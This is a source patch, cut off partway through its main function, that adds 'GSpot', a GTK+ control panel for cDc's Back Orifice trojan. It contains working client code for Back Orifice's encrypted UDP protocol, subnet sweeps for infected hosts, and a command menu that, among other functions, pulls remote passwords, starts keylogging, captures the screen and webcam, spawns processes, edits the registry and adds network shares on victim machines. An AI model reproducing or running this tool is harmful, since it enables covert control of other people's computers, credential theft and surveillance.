GSpot 1.21 - Gspot is a control panel for cDc's Back Orifice. It uses the GTK+ widget set, and should compile with either GTK+ 1.0 or 1.2 series. Gspot was written using cDc's original Unix client sources, only the front end has really changed. Right now Gspot has all of the capabilities of cDc's client for MS Windows, but also allows cut-and-paste, and a larger, more descriptive list for the commands. This is the first release of gspot.
826d8c3c1c89bec80d8f824f08af6fb0diff -ruN bo/Makefile.in bo_gspot/Makefile.in
--- bo/Makefile.in Sun Aug 9 14:12:02 1998
+++ bo_gspot/Makefile.in Tue Mar 23 17:36:01 1999
@@ -2,11 +2,14 @@
LIBS=@LIBS@
INSTALL=@INSTALL@
-all: bounix
+prefix=/usr/local/bin
+
+all: bounix gspot
clean:
- rm *.o bounix
+ rm *.o bounix gspot
install:
- $(INSTALL) bounix /usr/local/bin/bounix
+ $(INSTALL) bounix $(prefix)/bounix
+ $(INSTALL) gspot $(prefix)/gspot
distclean:
rm *.o bounix config.status config.cache config.log config.h Makefile
.o:
@@ -14,3 +17,6 @@
bounix: bounix.o commands.o help.o
$(CC) -o bounix bounix.o commands.o help.o $(LIBS)
+
+gspot: commands.o gspot.c
+ $(CC) -g -o gspot gspot.c commands.o $(LIBS) `gtk-config --libs` `gtk-config --cflags`
diff -ruN bo/gspot.c bo_gspot/gspot.c
--- bo/gspot.c Wed Dec 31 16:00:00 1969
+++ bo_gspot/gspot.c Tue Mar 23 16:36:04 1999
@@ -0,0 +1,891 @@
+#include "config.h"
+#include "bounix.h"
+#include "helpstrings.h"
+#include <gtk/gtk.h>
+
+// Do you have anything to declare?
+#define PROBE_STR_MAX 30
+
+typedef struct {
+ gchar *Name[1]; //Odd? Yes, but gotta do it for Clist
+ gchar command[PROBE_STR_MAX + 1];
+ gchar firstArg[PROBE_STR_MAX + 1];
+ gchar secondArg[PROBE_STR_MAX + 1];
+} probeListItem;
+
+// Function prototypes
+void insertProbe (gchar *Name, gchar *bocommand, gchar *arg1, gchar *arg2);
+void initializeProbes (void);
+void destroy (GtkWidget *widget, gpointer data);
+void update_value(GtkWidget *widget, gpointer data);
+void select_probe (GtkWidget *widget, gint row, gint column, GdkEventButton *event, gpointer data);
+void gtk_puts (gchar *message);
+void givehelpcommand(char *arg1);
+void helpDialog (GtkWidget *widget, gpointer data);
+gint main( int argc, char *argv[] );
+
+// Globals
+gchar currentProbe[PROBE_STR_MAX + 1];
+gchar responce[BUFFSIZE + 1];
+gchar oldhost[ARGSIZE + 1];
+gchar oldport[6];
+gint pidx = 0;
+probeListItem *probeArray;
+GtkWidget *returnScreen;
+GtkWidget *rsScroll;
+GtkWidget *hostText, *portText, *arg1Text, *arg2Text, *passText;
+GtkWidget *arg1Label, *arg2Label;
+// From bounix.c
+int udpsock;
+int port = PORT;
+int g_lastpongport;
+unsigned long host;
+unsigned long g_lastpongip;
+unsigned long g_packet;
+static long holdrand = 1L;
+struct sockaddr_in sockaddr;
+struct in_addr hostin;
+char g_password[ARGSIZE + 1];
+char g_lastdata[BUFFSIZE + 1];
+char cwd[MAX_PATH + 1];
+char buff[BUFFSIZE + 1];
+
+
+
+// Look! Actual code!
+
+void msrand (unsigned int seed )
+{
+ holdrand = (long)seed;
+}
+
+int mrand ( void)
+{
+ return(((holdrand = holdrand * 214013L + 2531011L) >> 16) & 0x7fff);
+}
+
+unsigned int getkey()
+{
+ int x, y;
+ unsigned int z;
+
+ y = strlen(g_password);
+ if (!y)
+ return 31337;
+ else {
+ z = 0;
+ for (x = 0; x < y; x++)
+ z+= g_password[x];
+
+ for (x = 0; x < y; x++)
+ {
+ if (x%2)
+ z-= g_password[x] * (y-x+1);
+ else
+ z+= g_password[x] * (y-x+1);
+ z = z%RAND_MAX;
+ }
+ z = (z * y)%RAND_MAX;
+ return z;
+ }
+}
+
+void BOcrypt(unsigned char *buff, int len)
+{
+ int y;
+
+ if (!len)
+ return;
+
+ msrand(getkey());
+ for (y = 0; y < len; y++)
+ buff[y] = buff[y] ^ (mrand()%256);
+}
+
+/*
+ * I/O socket functions
+ */
+
+int getpong(int sock) /* loops through with select, returns 0 on correct ping response */
+{ /* and 1 on a timeout or select error. */
+ struct sockaddr_in host;
+ char buff[BUFFSIZE];
+ int hostsize, x, sel;
+ unsigned long *pdw;
+ unsigned char *ptr;
+ unsigned long packetsize;
+ unsigned char type;
+ fd_set fds;
+ struct timeval tv;
+
+ FD_ZERO(&fds);
+ FD_SET(sock, &fds);
+ tv.tv_sec = 0;
+ tv.tv_usec = 0;
+ hostsize = sizeof(host);
+
+ while ( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0)
+ {
+ tv.tv_sec=0;
+ tv.tv_usec=0;
+
+ if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host, &hostsize)) <= 0 ) {
+ return(1);
+ }
+
+ BOcrypt(buff, x);
+
+ if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0)
+ {
+ sprintf(responce, "------- Garbage packet recieved from %s port %d -------\n",
+ inet_ntoa(host.sin_addr),
+ (int)ntohs(host.sin_port) );
+ gtk_puts(responce);
+ continue;
+ }
+ pdw = (unsigned long *)buff;
+ pdw+=2;
+ packetsize = __EL_LONG(*pdw);
+ pdw+=2;
+ ptr = (unsigned char *)pdw;
+ type = *ptr++;
+
+ if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) &&
+ (type == TYPE_PING))
+ {
+ sprintf(responce, "---- Pong received from %s port %d ---\n",
+ inet_ntoa(host.sin_addr),
+ (int)ntohs(host.sin_port) );
+ gtk_puts(responce);
+ gtk_puts(ptr);
+ sprintf(responce, "---------- End of data ----------------------\n");
+ gtk_puts(responce);
+ g_lastpongip = host.sin_addr.s_addr;
+ g_lastpongport = (int)ntohs(host.sin_port);
+ return(0);
+ } else {
+ sprintf(responce, "---- Non pong response from %s port %d ---\n",
+ inet_ntoa(host.sin_addr),
+ (int)ntohs(host.sin_port) );
+ gtk_puts(responce);
+ gtk_puts(ptr);
+ sprintf(responce, "---------- End of data ---------------------\n");
+ gtk_puts(responce);
+ continue;
+ }
+ }
+ if (sel < 0)
+ perror("select");
+
+ return(1);
+}
+
+int getinput(int sock)
+{
+ struct sockaddr_in host;
+ char buff[BUFFSIZE];
+ int hostsize, x, sel;
+ unsigned long *pdw;
+ unsigned char *ptr;
+ unsigned long packetsize;
+ unsigned long oldestpack, lastpacket, packetid, p;
+ unsigned char type;
+ struct timeval tv;
+ fd_set fds;
+
+ FD_ZERO(&fds);
+ FD_SET(sock, &fds);
+ tv.tv_sec = 10;
+ tv.tv_usec = 0;
+ hostsize = sizeof(host);
+
+ while( (sel = select(sock+1, &fds, NULL, NULL, &tv)) > 0 )
+ {
+ tv.tv_sec = 10; /* check, does select modify tv? */
+ tv.tv_usec = 0;
+
+ if ( (x = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&host,
+ &hostsize)) <= 0)
+ continue; /* this still shouldnt happen */
+
+ BOcrypt(buff, x);
+ if ( strncmp(buff, MAGICSTRING, MAGICSTRINGLEN) != 0)
+ continue; /* this packet isnt for us, pass off */
+
+ pdw = (unsigned long *)buff; /* parse out the packet */
+ pdw+=2;
+ packetsize = *pdw++;
+ packetsize = __EL_LONG(packetsize);
+ packetid = *pdw++;
+ packetid = __EL_LONG(packetid);
+ ptr = (unsigned char *)pdw;
+ type = *ptr++;
+
+ /* this is a singular packet */
+ if (!(type & PARTIAL_PACKET) && !(type & CONTINUED_PACKET ) )
+ {
+ sprintf(responce, "---- Packet received from %s port %d -----\n",
+ inet_ntoa(host.sin_addr),
+ (int)ntohs(host.sin_port) );
+ gtk_puts(responce);
+ gtk_puts(ptr);
+ sprintf(responce, "---------- End of data ---------------------\n");
+ gtk_puts(responce);
+ return 0; /* success */
+ }
+
+ /* first packet in a set of packets */
+ if (!(type & CONTINUED_PACKET))
+ {
+ oldestpack = packetid;
+ sprintf(responce, "---- Packet received from %s port %d -----\n",
+ inet_ntoa(host.sin_addr),
+ (int)ntohs(host.sin_port) );
+ gtk_puts(responce);
+ }
+
+ if(type & CONTINUED_PACKET) /* if we're here, i believe this will always be true */
+ {
+ /* if packetid = lastpacket+1 (normal), this doesnt run */
+
+ /* This code is B00l Shit. It's borken big time.
+ for(p=lastpacket; packetid > lastpacket+1; p++)
+ printf("Packet #%d in this collection is MIA\n", (int)(p-oldestpack));
+ */
+ lastpacket = packetid;
+ }
+
+ gtk_puts(ptr);
+
+ /* last packet in a set of packets */
+ if (!(type & PARTIAL_PACKET))
+ {
+ sprintf(responce, "---------- End of data ---------------------\n");
+ gtk_puts(responce);
+ return 0; /* success */
+ }
+ }
+
+ /* determine why we broke out of the loop */
+ if (sel == 0) {
+ sprintf(responce, "Timeout on wait, host may not be reachable, or no server installed\n");
+ gtk_puts(responce);
+ }
+ else if (sel < 0)
+ perror("select");
+
+ return(1); /* error */
+}
+
+
+int sendping(unsigned long dest, int port, int sock)
+{
+ unsigned char *ptr;
+ unsigned long *pdw;
+ unsigned long size;
+ struct sockaddr_in host;
+ char buff[BUFFSIZE];
+ int i;
+ fd_set fdset;
+ struct timeval tv;
+
+ size = MAGICSTRINGLEN + (sizeof(unsigned long)*2) + 2;
+ strcpy(buff, MAGICSTRING);
+ pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
+ *pdw++ = __EL_LONG(size);
+ *pdw++ = __EL_LONG((unsigned long)-1);
+ ptr = (unsigned char *)pdw;
+ *ptr++ = TYPE_PING;
+ *ptr = 0;
+
+ BOcrypt(buff, (int)size);
+
+ host.sin_family = AF_INET;
+ host.sin_port = htons((u_short)port);
+ host.sin_addr.s_addr = dest;
+
+ FD_ZERO(&fdset);
+ FD_SET(sock, &fdset);
+ tv.tv_sec = 10;
+ tv.tv_usec = 0;
+
+ i = select(sock+1, NULL, &fdset, NULL, &tv);
+ if (i == 0)
+ {
+ sprintf(responce, "Timeout waiting to send to socket\n");
+ gtk_puts(responce);
+ return(1);
+ } else if (i < 0) {
+ perror("select: ");
+ return(1);
+ }
+
+ if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size )
+ {
+ perror("sendto: ");
+ return(1);
+ }
+
+ return 0;
+}
+
+int sendpacket(unsigned char type, const char *str1, const char *str2, unsigned long dest, int port, int sock)
+{
+ unsigned char *ptr;
+ unsigned long *pdw;
+ unsigned long size;
+ struct sockaddr_in host;
+ char buff[BUFFSIZE];
+
+ if (dest == 0)
+ {
+ gtk_puts("Set a target host with the 'host' command. (Type 'help' for assistance)");
+ return 1;
+ }
+ /* 4 4 1 ? ? 1
+ * -----------------------------------------------
+ * |MAGICSTRING|size|pakt|t|arg1... |arg2... |crc|
+ * | | |num | | | | |
+ * -----------------------------------------------
+ */
+ size = MAGICSTRINGLEN + (sizeof(long)*2) + 3 + strlen(str1) + strlen(str2);
+ strcpy(buff, MAGICSTRING);
+ pdw = (unsigned long *)(buff + MAGICSTRINGLEN);
+ *pdw++ = __EL_LONG(size);
+ *pdw++ = __EL_LONG(g_packet);
+ g_packet++;
+ ptr = (unsigned char *)pdw;
+ *ptr++ = type;
+ strcpy(ptr, str1);
+ ptr += strlen(str1) + 1;
+ strcpy(ptr, str2);
+
+ BOcrypt(buff, (int)size);
+
+ host.sin_family = AF_INET;
+ host.sin_port = htons((u_short)port);
+ host.sin_addr.s_addr = dest;
+
+ if ( (sendto(sock, buff, size, 0, (struct sockaddr *)&host, sizeof(host))) != size)
+ {
+ perror("sendto: ");
+ return(1);
+ }
+ return 0;
+}
+
+
+/************************** MISC FUNCTIONS **************************/
+
+void fixfilename(char *buff, const char *cwd, const char *path)
+{
+ if (path[0] == '\\')
+ {
+ strncpy(buff, cwd, 2);
+ strncpy(buff+3, path, strlen(path)+1);
+ } else if (strncmp(path+1, ":\\", 2) == 0){
+ strcpy(buff, path);
+ } else {
+ sprintf(buff, "%s%s", cwd, path);
+ }
+}
+
+void execute(GtkWidget *widget, gpointer data)
+{
+ if ( host == 0 || // We don't have a host? Must be the first time...
+ (strcmp(oldhost, gtk_entry_get_text(GTK_ENTRY(hostText))) ||
+ strcmp(oldport, gtk_entry_get_text(GTK_ENTRY(portText))) ) ) // The hostname or port was changed
+ {
+ executecommand("HOST", gtk_entry_get_text(GTK_ENTRY(hostText)),
+ gtk_entry_get_text(GTK_ENTRY(portText)));
+ if ( host == 0 )
+ {
+ gtk_puts("Resolver said: \"Eat me\"\n I think you should check your hostname/port.");
+ gtk_entry_set_text(GTK_ENTRY(hostText), oldhost);
+ gtk_entry_set_text(GTK_ENTRY(portText), oldport);
+ return;
+ }
+ //We've a host now.
+ strcpy(oldhost, gtk_entry_get_text(GTK_ENTRY(hostText)) );
+ strcpy(oldport, gtk_entry_get_text(GTK_ENTRY(portText)) );
+ }
+ if (currentProbe[0] == 0)
+ {
+ gtk_puts("Please click on one of the commands.\n I know it looks like ping is selected, but it isn't.");
+ }
+ if (executecommand(currentProbe,
+ gtk_entry_get_text(GTK_ENTRY(arg1Text)),
+ gtk_entry_get_text(GTK_ENTRY(arg2Text)) ))
+ {
+ sprintf(responce, "Command Failed\n");
+ gtk_puts(responce);
+ }
+}
+
+
+
+
+//-----------------------------------------------
+// GKT code below
+//-----------------------------------------------
+
+
+
+void insertProbe (gchar *Name, gchar *bocommand, gchar *arg1, gchar *arg2)
+{
+ if (!probeArray)
+ {
+ probeArray = malloc(sizeof(probeListItem));
+ }
+ else
+ {
+ probeArray = realloc(probeArray, (sizeof(probeListItem) * (pidx+1)) );
+ }
+ probeArray[pidx].Name[0] = malloc(sizeof(gchar) * strlen(Name) + 1);
+ strcpy(probeArray[pidx].Name[0], Name);
+ strcpy(probeArray[pidx].command, bocommand);
+ strcpy(probeArray[pidx].firstArg, arg1);
+ strcpy(probeArray[pidx].secondArg, arg2);
+ pidx++;
+
+}
+
+void initializeProbes (void)
+{
+ // I've taken a few out, they aren't neccessary with a GUI
+ // insertProbe("HOST", "", "");
+ // insertProbe("QUIT", "", "");
+ // insertProbe("PASSWD", "", "");
+ // BO commands
+ insertProbe("Ping", "PING", "Unused:", "Unused:");
+ insertProbe("Ping List", "PINGLIST", "File Name:", "Unused:");
+ insertProbe("Sweep subnet", "SWEEP", "Subnet:", "Unused:");
+ insertProbe("Sweep List", "SWEEPLIST", "File Name:", "Unused:");
+ // File operations
+ insertProbe("List dir", "DIR", "File pattern:", "Unused:");
+ insertProbe("Find file", "FIND", "File pattern:", "Start in:");
+ insertProbe("View file", "VIEW", "File name:", "Unused:");
+ insertProbe("Delete file", "DEL", "File:", "Unused:");
+ insertProbe("Copy file", "COPY", "Source filename:", "Destination:");
+ insertProbe("Rename file", "REN", "File name:", "Destination:");
+ insertProbe("Compress file", "FREEZE", "Freeze file:", "Destination:");
+ insertProbe("Uncompress file", "MELT", "Frozen file:", "Destination:");
+ // Dir operations
+ insertProbe("Change dir", "CD", "New directory:", "Unused:");
+ insertProbe("Make directory", "MD", "New dir:", "Unused:");
+ insertProbe("Remove directory", "RD", "Directory:", "Unused:");
+ // insertProbe("Download file", "GET", "Remote filename:", "Local filename:"); Apparently these two
+ // insertProbe("Upload file", "PUT", "Local filename:", "Remote filename:"); weren't implemented
+ // System operations
+ // insertProbe("Open Shell", "SHELL", "Unused:", "Unused:"); Also not implemented
+ // insertProbe("Get status", "STATUS", "Unused:", "Unused:"); Status is useless to me
+ insertProbe("Get system info", "INFO", "Unused:", "Unused:");
+ insertProbe("Get remote passwords", "PASSES", "Unused:", "Unused:");
+ insertProbe("Create system dialog", "DIALOG", "Dialog text:", "Title text:");
+ insertProbe("Keylog", "KEYLOG", "Log File: (or stop)", "Unused:");
+ insertProbe("List processes", "PROCLIST", "Unused:", "Unused:");
+ insertProbe("Kill process", "PROCKILL", "Process ID:", "Unused:");
+ insertProbe("Start process", "PROCSPAWN", "Commandline:", "Unused:");
+ insertProbe("Lockup system", "LOCKUP", "Unused:", "Unused:");
+ insertProbe("Reboot system", "REBOOT", "Unused:", "Unused:");
+ // Network stuff
+ insertProbe("Resolve hostname", "RESOLVE", "Hostname:", "Unused:");
+ insertProbe("List IP redirects", "REDIRLIST", "Unused:", "Unused:");
+ insertProbe("Delete IP redirect", "REDIRDEL", "Redir Number:", "Unused:");
+ insertProbe("Add IP redirect", "REDIRADD", "Input Port:", "Output IP:Port,UDP:");
+ insertProbe("List console apps", "APPLIST", "Unused:", "Unused:");
+ insertProbe("Remove console app", "APPDEL", "App ID:", "Unused:");
+ insertProbe("Add console app", "APPADD", "Program:", "Port:");
+ insertProbe("List available resources", "NETVIEW", "Unused:", "Unused:");
+ insertProbe("List connected resources", "NETLIST", "Unused:", "Unused:");
+ insertProbe("Disconnect resource", "NETDISCONNECT", "Resource:", "Unused:");
+ insertProbe("Connect to resource", "NETCONNECT", "Resource:", "Password:");
+ insertProbe("List shares", "SHARELIST", "Unused:", "Unused:");
+ insertProbe("Delete shares", "SHAREDEL", "Share name:", "Unused:");
+ insertProbe("Add shares", "SHAREADD", "Share name:", "Local dir,Password,remark:");
+ insertProbe("Stop HTTP server", "HTTPOFF", "Unused:", "Unused:");
+ insertProbe("Start HTTP server", "HTTPON", "Port:", "Root:");
+ insertProbe("Send file via TCP", "TCPSEND", "File name:", "Target IP:Port");
+ insertProbe("Recieve file via TCP", "TCPRECV", "File name:", "Target IP:Port");
+ // Multimedia stuff
+ insertProbe("List MM capture devices", "LISTCAPS", "Unused:", "Unused:");
+ insertProbe("Capture bitmap", "CAPSCREEN", "File name:", "Unused:");
+ insertProbe("Capture frame from MM", "CAPFRAME", "File name:", "Device,Width,Height,Bits:");
+ insertProbe("Capture AVI", "CAPAVI", "File name:", "Seconds,Device,Width,Height,Bits:");
+ insertProbe("Play wav file", "SOUND", "File name;", "Unused:");
+ // Registry
+ insertProbe("List registry subkeys", "REGLISTKEYS", "Keyname:", "Unused:");
+ insertProbe("List registry values", "REGLISTVALS", "Keyname:", "Unused:");
+ insertProbe("Delete registry key", "REGDELKEY", "Keyname:", "Unused:");
+ insertProbe("Make registry key", "REGMAKEKEY", "Keyname:", "Unused:");
+ insertProbe("Delete registry value", "REGDELVAL", "Value name:", "Unused:");
+ insertProbe("Set registry value", "REGSETVAL", "Value name:", "Type,Value:");
+ // Plugins
+ insertProbe("List plugins", "PLUGINLIST", "Unused:", "Unused:");
+ insertProbe("Stop plugin", "PLUGINKILL", "Plugin ID:", "Unused:");
+ insertProbe("Execute plugin", "PLUGINEXEC", "DLL name:Plugin name:", "Plugin args");
+
+ probeArray = realloc(probeArray, sizeof(probeListItem) * (pidx+1) );
+}
+
+void destroy (GtkWidget *widget, gpointer data)
+{
+ if(probeArray) {
+ pidx = 0;
+ while ( probeArray[pidx].Name[0] != NULL ) {
+ free(probeArray[pidx].Name[0]);
+ pidx++;
+ }
+ free(probeArray);
+ probeArray = NULL;
+ }
+ close(udpsock);
+ gtk_main_quit ();
+}
+
+
+void update_value(GtkWidget *widget, gpointer data)
+{
+ // Right now, passText is the only widget that calls us.
+ //if ( strcasecmp("passText", gtk_widget_get_name( GTK_WIDGET(widget) )) == 0 )
+ strcpy(g_password, gtk_entry_get_text(GTK_ENTRY(widget)));
+}
+
+
+void select_probe (GtkWidget *widget, gint row, gint column, GdkEventButton *event, gpointer data)
+{
+ strcpy(currentProbe, probeArray[row].command);
+ gtk_label_set(GTK_LABEL(arg1Label), probeArray[row].firstArg);
+ gtk_label_set(GTK_LABEL(arg2Label), probeArray[row].secondArg);
+}
+
+void gtk_puts (gchar *message)
+{
+ gtk_text_insert( GTK_TEXT(returnScreen),NULL,NULL,NULL,message,-1);
+ if(message[strlen(message)-1] != '\n')
+ gtk_text_insert( GTK_TEXT(returnScreen),NULL,NULL,NULL,"\n",-1);
+}
+
+void givehelpcommand(char *arg1)
+{
+ helpDialog(NULL, arg1);
+}
+
+void helpDialog (GtkWidget *widget, gpointer data)
+{
+ GtkWidget *helpWindow;
+ GtkWidget *button;
+ GtkWidget *label;
+ char labelTemp[10];
+
+ helpWindow = gtk_dialog_new ();
+ gtk_container_border_width (GTK_CONTAINER (helpWindow), 10);
+
+ button = gtk_button_new_with_label("OK");
+ gtk_signal_connect_object (GTK_OBJECT (button), "clicked",
+ GTK_SIGNAL_FUNC (gtk_widget_destroy), GTK_OBJECT (helpWindow));
+ gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->action_area), button,
+ TRUE, TRUE, 0);
+ gtk_widget_show (button);
+
+ if (strlen((char *) data) == 0) label = gtk_label_new("Select an item first");
+ else if (strcasecmp((char *) data, "HOST") == 0) label = gtk_label_new(hosthelp);
+ else if (strcasecmp((char *) data, "QUIT") == 0) label = gtk_label_new(quithelp);
+ else if (strcasecmp((char *) data, "PING") == 0) label = gtk_label_new(pinghelp);
+ else if (strcasecmp((char *) data, "PINGLIST") == 0) label = gtk_label_new(pinglisthelp);
+ else if (strcasecmp((char *) data, "SWEEP") == 0) label = gtk_label_new(sweephelp);
+ else if (strcasecmp((char *) data, "SWEEPLIST") == 0) label = gtk_label_new(sweeplisthelp);
+ else if (strcasecmp((char *) data, "SHELL") == 0) label = gtk_label_new(shellhelp);
+ else if (strcasecmp((char *) data, "STATUS") == 0) label = gtk_label_new(statushelp);
+ else if (strcasecmp((char *) data, "PASSWD") == 0) label = gtk_label_new(passwdhelp);
+ else if (strcasecmp((char *) data, "DIR") == 0) label = gtk_label_new(dirhelp);
+ else if (strcasecmp((char *) data, "CD") == 0) label = gtk_label_new(cdhelp);
+ else if (strcasecmp((char *) data, "DEL") == 0) label = gtk_label_new(delhelp);
+ else if (strcasecmp((char *) data, "GET") == 0) label = gtk_label_new(gethelp);
+ else if (strcasecmp((char *) data, "PUT") == 0) label = gtk_label_new(puthelp);
+ else if (strcasecmp((char *) data, "COPY") == 0) label = gtk_label_new(copyhelp);
+ else if (strcasecmp((char *) data, "FIND") == 0) label = gtk_label_new(findhelp);
+ else if (strcasecmp((char *) data, "FREEZE") == 0) label = gtk_label_new(freezehelp);
+ else if (strcasecmp((char *) data, "MELT") == 0) label = gtk_label_new(melthelp);
+ else if (strcasecmp((char *) data, "VIEW") == 0) label = gtk_label_new(viewhelp);
+ else if (strcasecmp((char *) data, "REN") == 0) label = gtk_label_new(renhelp);
+ else if (strcasecmp((char *) data, "MD") == 0) label = gtk_label_new(mdhelp);
+ else if (strcasecmp((char *) data, "RD") == 0) label = gtk_label_new(rdhelp);
+ else if (strcasecmp((char *) data, "INFO") == 0) label = gtk_label_new(infohelp);
+ else if (strcasecmp((char *) data, "PASSES") == 0) label = gtk_label_new(passeshelp);
+ else if (strcasecmp((char *) data, "DIALOG") == 0) label = gtk_label_new(dialoghelp);
+ else if (strcasecmp((char *) data, "KEYLOG") == 0) label = gtk_label_new(keyloghelp);
+ else if (strcasecmp((char *) data, "REBOOT") == 0) label = gtk_label_new(reboothelp);
+ else if (strcasecmp((char *) data, "NETVIEW") == 0) label = gtk_label_new(netviewhelp);
+ else if (strcasecmp((char *) data, "NETCONNECT") == 0) label = gtk_label_new(netconnecthelp);
+ else if (strcasecmp((char *) data, "NETDISCONNECT") == 0) label = gtk_label_new(netdisconnecthelp);
+ else if (strcasecmp((char *) data, "NETLIST") == 0) label = gtk_label_new(netlisthelp);
+ else if (strcasecmp((char *) data, "RESOLVE") == 0) label = gtk_label_new(resolvehelp);
+ else if (strcasecmp((char *) data, "SHARELIST") == 0) label = gtk_label_new(sharelisthelp);
+ else if (strcasecmp((char *) data, "SHAREADD") == 0) label = gtk_label_new(shareaddhelp);
+ else if (strcasecmp((char *) data, "SHAREDEL") == 0) label = gtk_label_new(sharedelhelp);
+ else if (strcasecmp((char *) data, "PROCLIST") == 0) label = gtk_label_new(proclisthelp);
+ else if (strcasecmp((char *) data, "PROCKILL") == 0) label = gtk_label_new(prockillhelp);
+ else if (strcasecmp((char *) data, "PROCSPAWN") == 0) label = gtk_label_new(procspawnhelp);
+ else if (strcasecmp((char *) data, "LISTCAPS") == 0) label = gtk_label_new(listcapshelp);
+ else if (strcasecmp((char *) data, "CAPSCREEN") == 0) label = gtk_label_new(capscreenhelp);
+ else if (strcasecmp((char *) data, "CAPFRAME") == 0) label = gtk_label_new(capframehelp);
+ else if (strcasecmp((char *) data, "CAPAVI") == 0) label = gtk_label_new(capavihelp);
+ else if (strcasecmp((char *) data, "SOUND") == 0) label = gtk_label_new(soundhelp);
+ else if (strcasecmp((char *) data, "REDIRLIST") == 0) label = gtk_label_new(redirlisthelp);
+ else if (strcasecmp((char *) data, "REDIRDEL") == 0) label = gtk_label_new(redirdelhelp);
+ else if (strcasecmp((char *) data, "REDIRADD") == 0) label = gtk_label_new(rediraddhelp);
+ else if (strcasecmp((char *) data, "APPADD") == 0) label = gtk_label_new(appaddhelp);
+ else if (strcasecmp((char *) data, "APPDEL") == 0) label = gtk_label_new(appdelhelp);
+ else if (strcasecmp((char *) data, "APPLIST") == 0) label = gtk_label_new(applisthelp);
+ else if (strcasecmp((char *) data, "REGMAKEKEY") == 0) label = gtk_label_new(regmakekeyhelp);
+ else if (strcasecmp((char *) data, "REGDELKEY") == 0) label = gtk_label_new(regdelkeyhelp);
+ else if (strcasecmp((char *) data, "REGLISTKEYS") == 0) label = gtk_label_new(reglistkeyshelp);
+ else if (strcasecmp((char *) data, "REGLISTVALS") == 0) label = gtk_label_new(reglistvalshelp);
+ else if (strcasecmp((char *) data, "REGDELVAL") == 0) label = gtk_label_new(regdelvalhelp);
+ else if (strcasecmp((char *) data, "REGSETVAL") == 0) label = gtk_label_new(regsetvalhelp);
+ else if (strcasecmp((char *) data, "HTTPON") == 0) label = gtk_label_new(httponhelp);
+ else if (strcasecmp((char *) data, "HTTPOFF") == 0) label = gtk_label_new(httpoffhelp);
+ else if (strcasecmp((char *) data, "TCPSEND") == 0) label = gtk_label_new(tcpsendhelp);
+ else if (strcasecmp((char *) data, "TCPRECV") == 0) label = gtk_label_new(tcprecvhelp);
+ else if (strcasecmp((char *) data, "LOCKUP") == 0) label = gtk_label_new(lockuphelp);
+ else if (strcasecmp((char *) data, "PLUGINEXEC") == 0) label = gtk_label_new(pluginexechelp);
+ else if (strcasecmp((char *) data, "PLUGINKILL") == 0) label = gtk_label_new(pluginkillhelp);
+ else if (strcasecmp((char *) data, "PLUGINLIST") == 0) label = gtk_label_new(pluginlisthelp);
+ else {
+ snprintf ( labelTemp, 10, "No help for '%s'\n", (char *) data);
+ label = gtk_label_new(labelTemp);
+ }
+
+ gtk_box_pack_start (GTK_BOX (GTK_DIALOG (helpWindow)->vbox), label, TRUE,
+ TRUE, 0);
+ gtk_widget_show (label);
+ gtk_widget_show (helpWindow);
+
+}
+
+int main( int argc, char *argv[] )
+{
+ int clientport = 0;
+ struct linger linger;
+ int bufsize;
+ GtkWidget *window;
+ GtkWidget *kitchenTable;
+ GtkWidget *hbox, *vbox;
+#if GTK_MINOR_VERSION >= 2
+ GtkWidget *probeScroll;
+#endif
+ GtkWidget *probeList;
+ GtkWidget *helpBUTTon, *exeBUTTon;
+ GtkWidget *hostLabel, *portLabel, *passLabel;
+ // As a reminder, the following components are global:
+ /*
+ GtkWidget *returnScreen;
+ GtkWidget *rsScroll;
+ GtkWidget *hostText, *portText, *arg1Text, *arg2Text, *passText;
+ GtkWidget *arg1Label, *arg2Label;
+ */
+
+ gtk_init (&argc, &argv);
+ initializeProbes();
+
+ // Initialize the UDP port
+ host = 0;
+ g_packet = 0;
+ g_password[0] = 0;
+ strcpy(cwd, "c:\\");
+ if ( (udpsock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
+ {
+ perror("socket: ");
+ return(1);
+ }
+ memset(&sockaddr, 0, sizeof(sockaddr));
+ sockaddr.sin_family = AF_INET;
+ sockaddr.sin_port = htons((u_short)clientport);
+ if ( (bind(udpsock, (struct sockaddr *)&sockaddr, sizeof(sockaddr))) < 0)
+ {
+ perror("bind: ");
+ return(1);
+ }
+ linger.l_onoff = 0; // dont linger
+ setsockopt(udpsock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger) );
+
+
+
+ // Create the window
+ window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
+ gtk_window_set_title (GTK_WINDOW (window), "Gspot");
+ gtk_container_border_width (GTK_CONTAINER (window), 5);
+ gtk_widget_set_usize (GTK_WIDGET (window), 500, 400);
+ gtk_signal_connect (GTK_OBJECT (window), "delete_event",
+ GTK_SIGNAL_FUNC (destroy), NULL);
+ gtk_signal_connect (GTK_OBJECT (window), "destroy",
+ GTK_SIGNAL_FUNC (destroy), NULL);
+
+ // Create the table container
+ kitchenTable = gtk_table_new(4, 3, FALSE);
+ gtk_table_set_row_spacings( GTK_TABLE(kitchenTable), 2 );
+ gtk_table_set_col_spacings( GTK_TABLE(kitchenTable), 2 );
+ gtk_container_add (GTK_CONTAINER (window), kitchenTable);
+ gtk_widget_show(kitchenTable);
+
+ // Use a CList item with one column for the commands
+ probeList = gtk_clist_new(1);
+ gtk_clist_set_selection_mode( GTK_CLIST(probeList), GTK_SELECTION_BROWSE );
+#if GTK_MINOR_VERSION >= 1
+ probeScroll = gtk_scrolled_window_new( NULL, NULL );
+ gtk_scrolled_window_set_policy( GTK_SCROLLED_WINDOW (probeScroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC);
+ gtk_clist_set_shadow_type( GTK_CLIST(probeList), GTK_SHADOW_ETCHED_IN);
+#else
+ gtk_clist_set_border(GTK_CLIST(probeList), GTK_SHADOW_ETCHED_IN);
+ gtk_clist_set_policy(GTK_CLIST(probeList), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC );
+#endif
+ gtk_clist_column_titles_passive(GTK_CLIST(probeList));
+ gtk_clist_set_column_title(GTK_CLIST(probeList), 0, "Commands" );
